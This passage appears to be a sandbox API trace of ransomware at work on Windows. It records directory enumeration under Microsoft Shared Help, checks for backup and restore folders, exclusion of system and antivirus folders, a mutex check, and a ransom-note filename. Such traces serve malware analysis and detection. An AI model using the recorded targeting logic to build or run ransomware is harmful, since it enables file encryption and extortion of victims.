Files\\Common Files\\Microsoft Shared\\Help\\Oracle", lpFindFileData=0x18eb80 | out: lpFindFileData=0x18eb80*(dwFileAttributes=0x7758b6c6, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x552180, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e69418, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x554190, cFileName="㪀P\xfdee㰒", cAlternateFileName="螬T䱠@帜R企@\x18?T\x18y")) returned 0xffffffff [0045.583] GetLastError () returned 0x2 [0045.584] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\Help\\", cchLength=0x34 | out: lpsz="c:\\program files\\common files\\microsoft shared\\help\\") returned 0x34 [0045.584] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e692d0, cbMultiByte=7, lpWideCharStr=0x18dd84, cchWideChar=2047 | out: lpWideCharStr="oracle\\T ") returned 7 [0045.584] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1dbe1c8, cbMultiByte=7, lpWideCharStr=0x18ddcc, cchWideChar=2047 | out: lpWideCharStr="Archiveft SQL Server Compact Edition\\ition\\") returned 7 [0045.584] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Help\\Archive", lpFindFileData=0x18eb80 | out: lpFindFileData=0x18eb80*(dwFileAttributes=0x7758b6c6, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x552180, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e69418, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x554190, cFileName="㪀P\xfdee㰒", cAlternateFileName="螬T䱠@뱔R企@\x18?T\x18\x81")) returned 0xffffffff [0045.584] GetLastError () returned 0x2 [0045.584] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\Help\\", cchLength=0x34 | out: lpsz="c:\\program files\\common files\\microsoft shared\\help\\") returned 0x34 [0045.584] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e692d0, cbMultiByte=7, lpWideCharStr=0x18dd84, cchWideChar=2047 | out: lpWideCharStr="archiveT ") returned 7 [0045.584] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1dbe1c8, cbMultiByte=6, lpWideCharStr=0x18ddcc, cchWideChar=2047 | out: lpWideCharStr="Backupeft SQL Server Compact Edition\\ition\\") returned 6 [0045.585] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Help\\Backup", lpFindFileData=0x18eb80 | out: lpFindFileData=0x18eb80*(dwFileAttributes=0x7758b6c6, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x552180, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e69418, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x554190, cFileName="㪀P\xfdee㰒", cAlternateFileName="螬T䱠@℔R企@\x18?T\x18\x88")) returned 0xffffffff [0045.585] GetLastError () returned 0x2 [0045.585] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\Help\\", cchLength=0x34 | out: lpsz="c:\\program files\\common files\\microsoft shared\\help\\") returned 0x34 [0045.585] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e692d0, cbMultiByte=6, lpWideCharStr=0x18dd84, cchWideChar=2047 | out: lpWideCharStr="backup?T ") returned 6 [0045.585] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Help\\Reserv", lpFindFileData=0x18eb80 | out: lpFindFileData=0x18eb80*(dwFileAttributes=0x7758b6c6, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x552180, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e69418, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x554190, cFileName="㪀P\xfdee㰒", cAlternateFileName="螬T䱠@帜R企@\x18?T\x18\x8f")) returned 0xffffffff [0045.585] GetLastError () returned 0x2 [0045.585] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\Help\\", cchLength=0x34 | out: lpsz="c:\\program files\\common files\\microsoft shared\\help\\") returned 0x34 [0045.585] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e692d0, cbMultiByte=6, lpWideCharStr=0x18dd84, cchWideChar=2047 | out: lpWideCharStr="reserv?T ") returned 6 [0045.585] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Help\\Restore", lpFindFileData=0x18eb80 | out: lpFindFileData=0x18eb80*(dwFileAttributes=0x7758b6c6, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x552180, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e69418, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x554190, cFileName="㪀P\xfdee㰒", cAlternateFileName="螬T䱠@뱔R企@\x18?T\x18\x97")) returned 0xffffffff [0045.599] GetLastError () returned 0x2 [0045.599] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\Help\\", cchLength=0x34 | out: lpsz="c:\\program files\\common files\\microsoft shared\\help\\") returned 0x34 [0045.599] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e692d0, cbMultiByte=7, lpWideCharStr=0x18dd84, cchWideChar=2047 | out: lpWideCharStr="restoreT ") returned 7 [0045.599] GlobalLock (hMem=0x44000c) returned 0x550170 [0045.600] GlobalHandle (pMem=0x550170) returned 0x44000c [0045.600] GlobalUnlock (hMem=0x44000c) returned 0 [0045.600] GlobalLock (hMem=0x44000c) returned 0x550170 [0045.600] GlobalLock (hMem=0x440004) returned 0x552180 [0045.600] GlobalHandle (pMem=0x550170) returned 0x44000c [0045.600] GlobalUnlock (hMem=0x44000c) returned 0 [0045.600] GlobalHandle (pMem=0x552180) returned 0x440004 [0045.600] GlobalUnlock (hMem=0x440004) returned 0 [0045.600] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\Help\\", cchLength=0x34 | out: lpsz="c:\\program files\\common files\\microsoft shared\\help\\") returned 0x34 [0045.600] GetEnvironmentVariableA (in: lpName="ALLUSERSPROFILE", lpBuffer=0x18e97c, nSize=0x400 | out: lpBuffer="C:\\ProgramData") returned 0xe [0045.600] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e5a748, cbMultiByte=15, lpWideCharStr=0x18dd7c, cchWideChar=2047 | out: lpWideCharStr="c:\\programdata\\") returned 15 [0045.600] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\Help\\", cchLength=0x34 | out: lpsz="c:\\program files\\common files\\microsoft shared\\help\\") returned 0x34 [0045.600] GetEnvironmentVariableA (in: lpName="APPDATA", lpBuffer=0x18e97c, nSize=0x400 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming") returned 0x2d [0045.600] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1ddb5e8, cbMultiByte=46, lpWideCharStr=0x18dd7c, cchWideChar=2047 | out: lpWideCharStr="c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\eft SQL Server Compact Edition\\ition\\") returned 46 [0045.600] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\Help\\", cchLength=0x34 | out: lpsz="c:\\program files\\common files\\microsoft shared\\help\\") returned 0x34 [0045.600] GetEnvironmentVariableA (in: lpName="ProgramData", lpBuffer=0x18e97c, nSize=0x400 | out: lpBuffer="C:\\ProgramData") returned 0xe [0045.600] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e5a788, cbMultiByte=15, lpWideCharStr=0x18dd7c, cchWideChar=2047 | out: lpWideCharStr="c:\\programdata\\jn0js halpmcxz\\appdata\\roaming\\eft SQL Server Compact Edition\\ition\\") returned 15 [0045.600] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\Help\\", cchLength=0x34 | out: lpsz="c:\\program files\\common files\\microsoft shared\\help\\") returned 0x34 [0045.600] GetEnvironmentVariableA (in: lpName="WINDIR", lpBuffer=0x18e97c, nSize=0x400 | out: lpBuffer="C:\\Windows") returned 0xa [0045.600] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e69390, cbMultiByte=11, lpWideCharStr=0x18dd7c, cchWideChar=2047 | out: lpWideCharStr="c:\\windows\\ata\\jn0js halpmcxz\\appdata\\roaming\\eft SQL Server Compact Edition\\ition\\") returned 11 [0045.600] GlobalLock (hMem=0x440004) returned 0x550170 [0045.600] GlobalHandle (pMem=0x550170) returned 0x440004 [0045.600] GlobalUnlock (hMem=0x440004) returned 0 [0045.600] GlobalLock (hMem=0x440004) returned 0x550170 [0045.600] GlobalLock (hMem=0x44000c) returned 0x552180 [0045.600] GlobalHandle (pMem=0x550170) returned 0x440004 [0045.600] GlobalUnlock (hMem=0x440004) returned 0 [0045.600] GlobalHandle (pMem=0x552180) returned 0x44000c [0045.600] GlobalUnlock (hMem=0x44000c) returned 0 [0045.600] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\Help\\", cchLength=0x34 | out: lpsz="c:\\program files\\common files\\microsoft shared\\help\\") returned 0x34 [0045.601] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e5a788, cbMultiByte=15, lpWideCharStr=0x18dd84, cchWideChar=2047 | out: lpWideCharStr=":\\$recycle.bin\\s halpmcxz\\appdata\\roaming\\eft SQL Server Compact Edition\\ition\\") returned 15 [0045.601] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\Help\\", cchLength=0x34 | out: lpsz="c:\\program files\\common files\\microsoft shared\\help\\") returned 0x34 [0045.601] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e692d0, cbMultiByte=11, lpWideCharStr=0x18dd84, cchWideChar=2047 | out: lpWideCharStr="\\all users\\bin\\s halpmcxz\\appdata\\roaming\\eft SQL Server Compact Edition\\ition\\") returned 11 [0045.601] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\Help\\", cchLength=0x34 | out: lpsz="c:\\program files\\common files\\microsoft shared\\help\\") returned 0x34 [0045.601] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e692d0, cbMultiByte=9, lpWideCharStr=0x18dd84, cchWideChar=2047 | out: lpWideCharStr="\\appdata\\s\\bin\\s halpmcxz\\appdata\\roaming\\eft SQL Server Compact Edition\\ition\\") returned 9 [0045.601] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\Help\\", cchLength=0x34 | out: lpsz="c:\\program files\\common files\\microsoft shared\\help\\") returned 0x34 [0045.601] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e5a788, cbMultiByte=18, lpWideCharStr=0x18dd84, cchWideChar=2047 | out: lpWideCharStr="\\application data\\alpmcxz\\appdata\\roaming\\eft SQL Server Compact Edition\\ition\\") returned 18 [0045.601] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\Help\\", cchLength=0x34 | out: lpsz="c:\\program files\\common files\\microsoft shared\\help\\") returned 0x34 [0045.601] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e39128, cbMultiByte=28, lpWideCharStr=0x18dd84, cchWideChar=2047 | out: lpWideCharStr=":\\system volume information\\pdata\\roaming\\eft SQL Server Compact Edition\\ition\\") returned 28 [0045.602] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\Help\\", cchLength=0x34 | out: lpsz="c:\\program files\\common files\\microsoft shared\\help\\") returned 0x34 [0045.602] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e692d0, cbMultiByte=10, lpWideCharStr=0x18dd84, cchWideChar=2047 | out: lpWideCharStr=":\\windows\\olume information\\pdata\\roaming\\eft SQL Server Compact Edition\\ition\\") returned 10 [0045.602] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\Help\\", cchLength=0x34 | out: lpsz="c:\\program files\\common files\\microsoft shared\\help\\") returned 0x34 [0045.602] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e692d0, cbMultiByte=8, lpWideCharStr=0x18dd84, cchWideChar=2047 | out: lpWideCharStr=":\\intel\\s\\olume information\\pdata\\roaming\\eft SQL Server Compact Edition\\ition\\") returned 8 [0045.602] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\Help\\", cchLength=0x34 | out: lpsz="c:\\program files\\common files\\microsoft shared\\help\\") returned 0x34 [0045.602] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e692d0, cbMultiByte=9, lpWideCharStr=0x18dd84, cchWideChar=2047 | out: lpWideCharStr=":\\nvidia\\\\olume information\\pdata\\roaming\\eft SQL Server Compact Edition\\ition\\") returned 9 [0045.602] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\Help\\", cchLength=0x34 | out: lpsz="c:\\program files\\common files\\microsoft shared\\help\\") returned 0x34 [0045.602] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e5a788, cbMultiByte=13, lpWideCharStr=0x18dd84, cchWideChar=2047 | out: lpWideCharStr="\\trend micro\\me information\\pdata\\roaming\\eft SQL Server Compact Edition\\ition\\") returned 13 [0045.602] GlobalLock (hMem=0x44000c) returned 0x550170 [0045.602] GlobalHandle (pMem=0x550170) returned 0x44000c [0045.602] GlobalUnlock (hMem=0x44000c) returned 0 [0045.602] GlobalLock (hMem=0x44000c) returned 0x550170 [0045.602] GlobalLock (hMem=0x440004) returned 0x552180 [0045.602] GlobalHandle (pMem=0x550170) returned 0x44000c [0045.602] GlobalUnlock (hMem=0x44000c) returned 0 [0045.602] GlobalHandle (pMem=0x552180) returned 0x440004 [0045.602] GlobalUnlock (hMem=0x440004) returned 0 [0045.602] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Help\\*.*", lpFindFileData=0x18eea4 | out: lpFindFileData=0x18eea4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee282250, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x61073d10, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x61073d10, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x54e1c0 [0045.602] FindNextFileW (in: hFindFile=0x54e1c0, lpFindFileData=0x18eea4 | out: lpFindFileData=0x18eea4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee282250, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x61073d10, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x61073d10, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0045.602] FindNextFileW (in: hFindFile=0x54e1c0, lpFindFileData=0x18eea4 | out: lpFindFileData=0x18eea4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe777f900, ftCreationTime.dwHighDateTime=0x1c8bc89, ftLastAccessTime.dwLowDateTime=0x60d54030, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xe777f900, ftLastWriteTime.dwHighDateTime=0x1c8bc89, nFileSizeHigh=0x0, nFileSizeLow=0x133200, dwReserved0=0x0, dwReserved1=0x0, cFileName="hxds.dll", cAlternateFileName="")) returned 1 [0045.602] FileTimeToLocalFileTime (in: lpFileTime=0x18eeb8, lpLocalFileTime=0x18edc8 | out: lpLocalFileTime=0x18edc8) returned 1 [0045.602] FileTimeToDosDateTime (in: lpFileTime=0x18edc8, lpFatDate=0x18ee86, lpFatTime=0x18ee84 | out: lpFatDate=0x18ee86, lpFatTime=0x18ee84) returned 1 [0045.602] GlobalLock (hMem=0x440004) returned 0x551178 [0045.602] GlobalHandle (pMem=0x551178) returned 0x440004 [0045.602] GlobalUnlock (hMem=0x440004) returned 0 [0045.602] GlobalLock (hMem=0x440004) returned 0x551178 [0045.603] GlobalLock (hMem=0x44000c) returned 0x553188 [0045.603] GlobalHandle (pMem=0x551178) returned 0x440004 [0045.603] GlobalUnlock (hMem=0x440004) returned 0 [0045.603] GlobalHandle (pMem=0x553188) returned 0x44000c [0045.603] GlobalUnlock (hMem=0x44000c) returned 0 [0045.603] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0045.603] CharLowerBuffW (in: lpsz="hxds.dll", cchLength=0x8 | out: lpsz="hxds.dll") returned 0x8 [0045.603] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="l", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="lí\x18", lpUsedDefaultChar=0x0) returned 1 [0045.603] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="l", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="lí\x18", lpUsedDefaultChar=0x0) returned 1 [0045.603] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="d", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="dí\x18", lpUsedDefaultChar=0x0) returned 1 [0045.603] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".í\x18", lpUsedDefaultChar=0x0) returned 1 [0045.603] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="s", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="sí\x18", lpUsedDefaultChar=0x0) returned 1 [0045.603] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="d", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="dí\x18", lpUsedDefaultChar=0x0) returned 1 [0045.603] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="x", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="xí\x18", lpUsedDefaultChar=0x0) returned 1 [0045.603] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="h", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="hí\x18", lpUsedDefaultChar=0x0) returned 1 [0045.603] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e39128, cbMultiByte=34, lpWideCharStr=0x18dd64, cchWideChar=2047 | out: lpWideCharStr="how to recover encrypted files.txt?\x18\x06") returned 34 [0045.603] CharLowerBuffW (in: lpsz=".dll", cchLength=0x4 | out: lpsz=".dll") returned 0x4 [0045.603] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".dll", cchWideChar=4, lpMultiByteStr=0x18dd64, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".dllShared\\Help\\hxds.dlle", lpUsedDefaultChar=0x0) returned 4 [0045.603] FileTimeToLocalFileTime (in: lpFileTime=0x18eeb8, lpLocalFileTime=0x18edc4 | out: lpLocalFileTime=0x18edc4) returned 1 [0045.603] FileTimeToDosDateTime (in: lpFileTime=0x18edc4, lpFatDate=0x18ee86, lpFatTime=0x18ee84 | out: lpFatDate=0x18ee86, lpFatTime=0x18ee84) returned 1 [0045.603] GlobalLock (hMem=0x44000c) returned 0x551178 [0045.603] GlobalHandle (pMem=0x551178) returned 0x44000c [0045.603] GlobalUnlock (hMem=0x44000c) returned 0 [0045.603] GlobalLock (hMem=0x44000c) returned 0x551178 [0045.603] GlobalLock (hMem=0x440004) returned 0x553188 [0045.603] GlobalHandle (pMem=0x551178) returned 0x44000c [0045.603] GlobalUnlock (hMem=0x44000c) returned 0 [0045.604] GlobalHandle (pMem=0x553188) returned 0x440004 [0045.604] GlobalUnlock (hMem=0x440004) returned 0 [0045.604] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0045.604] CharLowerBuffW (in: lpsz="ITIRCL55.DLL", cchLength=0xc | out: lpsz="itircl55.dll") returned 0xc [0045.604] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="l", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="lí\x18", lpUsedDefaultChar=0x0) returned 1 [0045.604] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="l", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="lí\x18", lpUsedDefaultChar=0x0) returned 1 [0045.604] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="d", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="dí\x18", lpUsedDefaultChar=0x0) returned 1 [0045.604] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".í\x18", lpUsedDefaultChar=0x0) returned 1 [0045.604] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="5", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="5í\x18", lpUsedDefaultChar=0x0) returned 1 [0045.604] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="5", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="5í\x18", lpUsedDefaultChar=0x0) returned 1 [0045.604] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="l", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="lí\x18", lpUsedDefaultChar=0x0) returned 1 [0045.604] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="c", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="cí\x18", lpUsedDefaultChar=0x0) returned 1 [0045.604] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="r", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="rí\x18", lpUsedDefaultChar=0x0) returned 1 [0045.604] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="i", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ií\x18", lpUsedDefaultChar=0x0) returned 1 [0045.604] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="t", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="tí\x18", lpUsedDefaultChar=0x0) returned 1 [0045.604] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="i", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ií\x18", lpUsedDefaultChar=0x0) returned 1 [0045.604] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e39128, cbMultiByte=34, lpWideCharStr=0x18dd64, cchWideChar=2047 | out: lpWideCharStr="how to recover encrypted files.txt?\x18\x06") returned 34 [0045.604] CharLowerBuffW (in: lpsz=".DLL", cchLength=0x4 | out: lpsz=".dll") returned 0x4 [0045.604] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".dll", cchWideChar=4, lpMultiByteStr=0x18dd64, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".dllShared\\Help\\ITIRCL55.DLL ", lpUsedDefaultChar=0x0) returned 4 [0045.604] FileTimeToLocalFileTime (in: lpFileTime=0x18eeb8, lpLocalFileTime=0x18edc4 | out: lpLocalFileTime=0x18edc4) returned 1 [0045.604] FileTimeToDosDateTime (in: lpFileTime=0x18edc4, lpFatDate=0x18ee86, lpFatTime=0x18ee84 | out: lpFatDate=0x18ee86, lpFatTime=0x18ee84) returned 1 [0045.604] GlobalLock (hMem=0x440004) returned 0x551178 [0045.604] GlobalHandle (pMem=0x551178) returned 0x440004 [0045.604] GlobalUnlock (hMem=0x440004) returned 0 [0045.604] GlobalLock (hMem=0x440004) returned 0x551178 [0045.604] GlobalLock (hMem=0x44000c) returned 0x553188 [0045.604] GlobalHandle (pMem=0x551178) returned 0x440004 [0045.604] GlobalUnlock (hMem=0x440004) returned 0 [0045.604] GlobalHandle (pMem=0x553188) returned 0x44000c [0045.604] GlobalUnlock (hMem=0x44000c) returned 0 [0045.604] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0045.605] CharLowerBuffW (in: lpsz="msitss55.dll", cchLength=0xc | out: lpsz="msitss55.dll") returned 0xc [0045.605] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="l", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="lí\x18", lpUsedDefaultChar=0x0) returned 1 [0045.605] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="l", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="lí\x18", lpUsedDefaultChar=0x0) returned 1 [0045.605] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="d", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="dí\x18", lpUsedDefaultChar=0x0) returned 1 [0045.605] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".", cchWideChar=1, 